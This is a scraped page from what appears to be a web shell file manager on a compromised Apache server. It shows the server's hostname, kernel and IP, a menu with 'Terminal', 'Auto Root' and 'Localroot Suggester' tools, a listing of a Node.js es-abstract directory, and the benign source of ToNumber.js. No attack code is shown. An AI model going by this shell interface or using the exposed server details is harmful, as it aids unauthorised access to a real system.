Linux v69820.1blu.de 4.15.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Apache/2.4.58
Server IP : 195.90.215.149 & Your IP : 216.73.217.80
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
nodejs /
es-abstract /
2020 /
Delete
Unzip
Name
Size
Permission
Date
Action
BigInt
[ DIR ]
drwxr-xr-x
2023-12-23 20:12
Number
[ DIR ]
drwxr-xr-x
2023-12-23 20:12
AbstractEqualityComparison.js
1.83
KB
-rw-r--r--
2022-12-05 08:07
AbstractRelationalComparison.js
2.07
KB
-rw-r--r--
2022-12-05 08:07
AddEntriesFromIterable.js
1.48
KB
-rw-r--r--
2022-12-05 08:07
AdvanceStringIndex.js
983
B
-rw-r--r--
2022-12-05 08:07
ArrayCreate.js
1.61
KB
-rw-r--r--
2022-12-05 08:07
ArraySetLength.js
2.6
KB
-rw-r--r--
2022-12-05 08:07
ArraySpeciesCreate.js
1.32
KB
-rw-r--r--
2022-12-05 08:07
BigIntBitwiseOp.js
1.69
KB
-rw-r--r--
2022-12-05 08:07
BinaryAnd.js
364
B
-rw-r--r--
2022-12-05 08:07
BinaryOr.js
362
B
-rw-r--r--
2022-12-05 08:07
BinaryXor.js
364
B
-rw-r--r--
2022-12-05 08:07
Call.js
623
B
-rw-r--r--
2022-12-05 08:07
CanonicalNumericIndexString.js
654
B
-rw-r--r--
2022-12-05 08:07
CharacterRange.js
782
B
-rw-r--r--
2022-12-05 08:07
CodePointAt.js
1.68
KB
-rw-r--r--
2022-12-05 08:07
CompletePropertyDescriptor.js
989
B
-rw-r--r--
2022-12-05 08:07
CopyDataProperties.js
1.84
KB
-rw-r--r--
2022-12-05 08:07
CreateDataProperty.js
1.25
KB
-rw-r--r--
2022-12-05 08:07
CreateDataPropertyOrThrow.js
734
B
-rw-r--r--
2022-12-05 08:07
CreateHTML.js
927
B
-rw-r--r--
2022-12-05 08:07
CreateIterResultObject.js
432
B
-rw-r--r--
2022-12-05 08:07
CreateListFromArrayLike.js
1.33
KB
-rw-r--r--
2022-12-05 08:07
CreateMethodProperty.js
979
B
-rw-r--r--
2022-12-05 08:07
CreateRegExpStringIterator.js
3.62
KB
-rw-r--r--
2022-12-05 08:07
DateFromTime.js
1.01
KB
-rw-r--r--
2022-12-05 08:07
DateString.js
1.03
KB
-rw-r--r--
2022-12-05 08:07
Day.js
234
B
-rw-r--r--
2022-12-05 08:07
DayFromYear.js
256
B
-rw-r--r--
2022-12-05 08:07
DayWithinYear.js
286
B
-rw-r--r--
2022-12-05 08:07
DaysInYear.js
301
B
-rw-r--r--
2022-12-05 08:07
DefinePropertyOrThrow.js
1.43
KB
-rw-r--r--
2022-12-05 08:07
DeletePropertyOrThrow.js
699
B
-rw-r--r--
2022-12-05 08:07
EnumerableOwnPropertyNames.js
1.09
KB
-rw-r--r--
2022-12-05 08:07
FlattenIntoArray.js
1.71
KB
-rw-r--r--
2022-12-05 08:07
FromPropertyDescriptor.js
450
B
-rw-r--r--
2022-12-05 08:07
Get.js
602
B
-rw-r--r--
2022-12-05 08:07
GetIterator.js
1.68
KB
-rw-r--r--
2022-12-05 08:07
GetMethod.js
663
B
-rw-r--r--
2022-12-05 08:07
GetOwnPropertyKeys.js
829
B
-rw-r--r--
2022-12-05 08:07
GetPrototypeFromConstructor.js
921
B
-rw-r--r--
2022-12-05 08:07
GetSubstitution.js
4.31
KB
-rw-r--r--
2022-12-05 08:07
GetV.js
474
B
-rw-r--r--
2022-12-05 08:07
HasOwnProperty.js
553
B
-rw-r--r--
2022-12-05 08:07
HasProperty.js
517
B
-rw-r--r--
2022-12-05 08:07
HourFromTime.js
382
B
-rw-r--r--
2022-12-05 08:07
InLeapYear.js
510
B
-rw-r--r--
2022-12-05 08:07
InstanceofOperator.js
918
B
-rw-r--r--
2022-12-05 08:07
Invoke.js
715
B
-rw-r--r--
2022-12-05 08:07
IsAccessorDescriptor.js
465
B
-rw-r--r--
2022-12-05 08:07
IsArray.js
123
B
-rw-r--r--
2022-12-05 08:07
IsBigIntElementType.js
194
B
-rw-r--r--
2022-12-05 08:07
IsCallable.js
108
B
-rw-r--r--
2022-12-05 08:07
IsCompatiblePropertyDescriptor.js
367
B
-rw-r--r--
2022-12-05 08:07
IsConcatSpreadable.js
626
B
-rw-r--r--
2022-12-05 08:07
IsConstructor.js
1.12
KB
-rw-r--r--
2022-12-05 08:07
IsDataDescriptor.js
464
B
-rw-r--r--
2022-12-05 08:07
IsExtensible.js
509
B
-rw-r--r--
2022-12-05 08:07
IsGenericDescriptor.js
560
B
-rw-r--r--
2022-12-05 08:07
IsInteger.js
450
B
-rw-r--r--
2022-12-05 08:07
IsNoTearConfiguration.js
467
B
-rw-r--r--
2022-12-05 08:07
IsNonNegativeInteger.js
236
B
-rw-r--r--
2022-12-05 08:07
IsPromise.js
485
B
-rw-r--r--
2022-12-05 08:07
IsPropertyKey.js
207
B
-rw-r--r--
2022-12-05 08:07
IsRegExp.js
545
B
-rw-r--r--
2022-12-05 08:07
IsSharedArrayBuffer.js
461
B
-rw-r--r--
2022-12-05 08:07
IsStringPrefix.js
940
B
-rw-r--r--
2022-12-05 08:07
IsUnclampedIntegerElementType.js
298
B
-rw-r--r--
2022-12-05 08:07
IsUnsignedElementType.js
266
B
-rw-r--r--
2022-12-05 08:07
IterableToList.js
627
B
-rw-r--r--
2022-12-05 08:07
IteratorClose.js
1.45
KB
-rw-r--r--
2022-12-05 08:07
IteratorComplete.js
498
B
-rw-r--r--
2022-12-05 08:07
IteratorNext.js
493
B
-rw-r--r--
2022-12-05 08:07
IteratorStep.js
353
B
-rw-r--r--
2022-12-05 08:07
IteratorValue.js
443
B
-rw-r--r--
2022-12-05 08:07
LengthOfArrayLike.js
495
B
-rw-r--r--
2022-12-05 08:07
MakeDate.js
328
B
-rw-r--r--
2022-12-05 08:07
MakeDay.js
917
B
-rw-r--r--
2022-12-05 08:07
MakeTime.js
698
B
-rw-r--r--
2022-12-05 08:07
MinFromTime.js
396
B
-rw-r--r--
2022-12-05 08:07
MonthFromTime.js
1014
B
-rw-r--r--
2022-12-05 08:07
NumberBitwiseOp.js
757
B
-rw-r--r--
2022-12-05 08:07
NumberToBigInt.js
814
B
-rw-r--r--
2022-12-05 08:07
ObjectDefineProperties.js
1.47
KB
-rw-r--r--
2022-12-05 08:07
OrdinaryCreateFromConstructor.js
827
B
-rw-r--r--
2022-12-05 08:07
OrdinaryDefineOwnProperty.js
2.33
KB
-rw-r--r--
2022-12-05 08:07
OrdinaryGetOwnProperty.js
1.23
KB
-rw-r--r--
2022-12-05 08:07
OrdinaryGetPrototypeOf.js
539
B
-rw-r--r--
2022-12-05 08:07
OrdinaryHasInstance.js
627
B
-rw-r--r--
2022-12-05 08:07
OrdinaryHasProperty.js
531
B
-rw-r--r--
2022-12-05 08:07
OrdinaryObjectCreate.js
1.41
KB
-rw-r--r--
2022-12-05 08:07
OrdinarySetPrototypeOf.js
1.03
KB
-rw-r--r--
2022-12-05 08:07
OrdinaryToPrimitive.js
1.04
KB
-rw-r--r--
2022-12-05 08:07
PromiseResolve.js
457
B
-rw-r--r--
2022-12-05 08:07
QuoteJSONString.js
1.36
KB
-rw-r--r--
2022-12-05 08:07
RegExpCreate.js
643
B
-rw-r--r--
2022-12-05 08:07
RegExpExec.js
887
B
-rw-r--r--
2022-12-05 08:07
RequireObjectCoercible.js
70
B
-rw-r--r--
2022-12-05 08:07
SameValue.js
307
B
-rw-r--r--
2022-12-05 08:07
SameValueNonNumeric.js
635
B
-rw-r--r--
2022-12-05 08:07
SameValueZero.js
223
B
-rw-r--r--
2022-12-05 08:07
SecFromTime.js
402
B
-rw-r--r--
2022-12-05 08:07
Set.js
1.23
KB
-rw-r--r--
2022-12-05 08:07
SetFunctionLength.js
1.04
KB
-rw-r--r--
2022-12-05 08:07
SetFunctionName.js
1.35
KB
-rw-r--r--
2022-12-05 08:07
SetIntegrityLevel.js
1.82
KB
-rw-r--r--
2022-12-05 08:07
SpeciesConstructor.js
844
B
-rw-r--r--
2022-12-05 08:07
SplitMatch.js
874
B
-rw-r--r--
2022-12-05 08:07
StrictEqualityComparison.js
361
B
-rw-r--r--
2022-12-05 08:07
StringCreate.js
1.09
KB
-rw-r--r--
2022-12-05 08:07
StringGetOwnProperty.js
1.35
KB
-rw-r--r--
2022-12-05 08:07
StringPad.js
1.23
KB
-rw-r--r--
2022-12-05 08:07
StringToBigInt.js
581
B
-rw-r--r--
2022-12-05 08:07
SymbolDescriptiveString.js
526
B
-rw-r--r--
2022-12-05 08:07
TestIntegrityLevel.js
1.25
KB
-rw-r--r--
2022-12-05 08:07
TimeClip.js
468
B
-rw-r--r--
2022-12-05 08:07
TimeFromYear.js
261
B
-rw-r--r--
2022-12-05 08:07
TimeString.js
808
B
-rw-r--r--
2022-12-05 08:07
TimeWithinDay.js
247
B
-rw-r--r--
2022-12-05 08:07
ToBigInt.js
631
B
-rw-r--r--
2022-12-05 08:07
ToBigInt64.js
948
B
-rw-r--r--
2022-12-05 08:07
ToBigUint64.js
703
B
-rw-r--r--
2022-12-05 08:07
ToBoolean.js
130
B
-rw-r--r--
2022-12-05 08:07
ToDateString.js
498
B
-rw-r--r--
2022-12-05 08:07
ToIndex.js
657
B
-rw-r--r--
2022-12-05 08:07
ToInt16.js
260
B
-rw-r--r--
2022-12-05 08:07
ToInt32.js
173
B
-rw-r--r--
2022-12-05 08:07
ToInt8.js
247
B
-rw-r--r--
2022-12-05 08:07
ToInteger.js
331
B
-rw-r--r--
2022-12-05 08:07
ToLength.js
332
B
-rw-r--r--
2022-12-05 08:07
ToNumber.js
2.08
KB
-rw-r--r--
2022-12-05 08:07
ToNumeric.js
550
B
-rw-r--r--
2022-12-05 08:07
ToObject.js
334
B
-rw-r--r--
2022-12-05 08:07
ToPrimitive.js
287
B
-rw-r--r--
2022-12-05 08:07
ToPropertyDescriptor.js
1.42
KB
-rw-r--r--
2022-12-05 08:07
ToPropertyKey.js
405
B
-rw-r--r--
2022-12-05 08:07
ToString.js
396
B
-rw-r--r--
2022-12-05 08:07
ToUint16.js
564
B
-rw-r--r--
2022-12-05 08:07
ToUint32.js
175
B
-rw-r--r--
2022-12-05 08:07
ToUint8.js
578
B
-rw-r--r--
2022-12-05 08:07
ToUint8Clamp.js
522
B
-rw-r--r--
2022-12-05 08:07
TrimString.js
804
B
-rw-r--r--
2022-12-05 08:07
Type.js
297
B
-rw-r--r--
2022-12-05 08:07
UTF16DecodeString.js
753
B
-rw-r--r--
2022-12-05 08:07
UTF16DecodeSurrogatePair.js
776
B
-rw-r--r--
2022-12-05 08:07
UTF16Encoding.js
700
B
-rw-r--r--
2022-12-05 08:07
UnicodeEscape.js
839
B
-rw-r--r--
2022-12-05 08:07
ValidateAndApplyPropertyDescriptor.js
5.12
KB
-rw-r--r--
2022-12-05 08:07
WeekDay.js
208
B
-rw-r--r--
2022-12-05 08:07
YearFromTime.js
407
B
-rw-r--r--
2022-12-05 08:07
abs.js
207
B
-rw-r--r--
2022-12-05 08:07
floor.js
217
B
-rw-r--r--
2022-12-05 08:07
modulo.js
168
B
-rw-r--r--
2022-12-05 08:07
msFromTime.js
253
B
-rw-r--r--
2022-12-05 08:07
thisBigIntValue.js
551
B
-rw-r--r--
2022-12-05 08:07
thisBooleanValue.js
367
B
-rw-r--r--
2022-12-05 08:07
thisNumberValue.js
390
B
-rw-r--r--
2022-12-05 08:07
thisStringValue.js
361
B
-rw-r--r--
2022-12-05 08:07
thisSymbolValue.js
514
B
-rw-r--r--
2022-12-05 08:07
thisTimeValue.js
66
B
-rw-r--r--
2022-12-05 08:07
Save
Rename
'use strict'; var GetIntrinsic = require('get-intrinsic'); var $TypeError = GetIntrinsic('%TypeError%'); var $Number = GetIntrinsic('%Number%'); var $RegExp = GetIntrinsic('%RegExp%'); var $parseInteger = GetIntrinsic('%parseInt%'); var callBound = require('call-bind/callBound'); var regexTester = require('safe-regex-test'); var isPrimitive = require('../helpers/isPrimitive'); var $strSlice = callBound('String.prototype.slice'); var isBinary = regexTester(/^0b[01]+$/i); var isOctal = regexTester(/^0o[0-7]+$/i); var isInvalidHexLiteral = regexTester(/^[-+]0x[0-9a-f]+$/i); var nonWS = ['\u0085', '\u200b', '\ufffe'].join(''); var nonWSregex = new $RegExp('[' + nonWS + ']', 'g'); var hasNonWS = regexTester(nonWSregex); // whitespace from: https://es5.github.io/#x15.5.4.20 // implementation from https://github.com/es-shims/es5-shim/blob/v3.4.0/es5-shim.js#L1304-L1324 var ws = [ '\x09\x0A\x0B\x0C\x0D\x20\xA0\u1680\u180E\u2000\u2001\u2002\u2003', '\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000\u2028', '\u2029\uFEFF' ].join(''); var trimRegex = new RegExp('(^[' + ws + ']+)|([' + ws + ']+$)', 'g'); var $replace = callBound('String.prototype.replace'); var $trim = function (value) { return $replace(value, trimRegex, ''); }; var ToPrimitive = require('./ToPrimitive'); // https://ecma-international.org/ecma-262/6.0/#sec-tonumber module.exports = function ToNumber(argument) { var value = isPrimitive(argument) ? argument : ToPrimitive(argument, $Number); if (typeof value === 'symbol') { throw new $TypeError('Cannot convert a Symbol value to a number'); } if (typeof value === 'bigint') { throw new $TypeError('Conversion from \'BigInt\' to \'number\' is not allowed.'); } if (typeof value === 'string') { if (isBinary(value)) { return ToNumber($parseInteger($strSlice(value, 2), 2)); } else if (isOctal(value)) { return ToNumber($parseInteger($strSlice(value, 2), 8)); } else if (hasNonWS(value) || isInvalidHexLiteral(value)) { return NaN; } var trimmed = $trim(value); if (trimmed !== value) { return ToNumber(trimmed); } } return $Number(value); };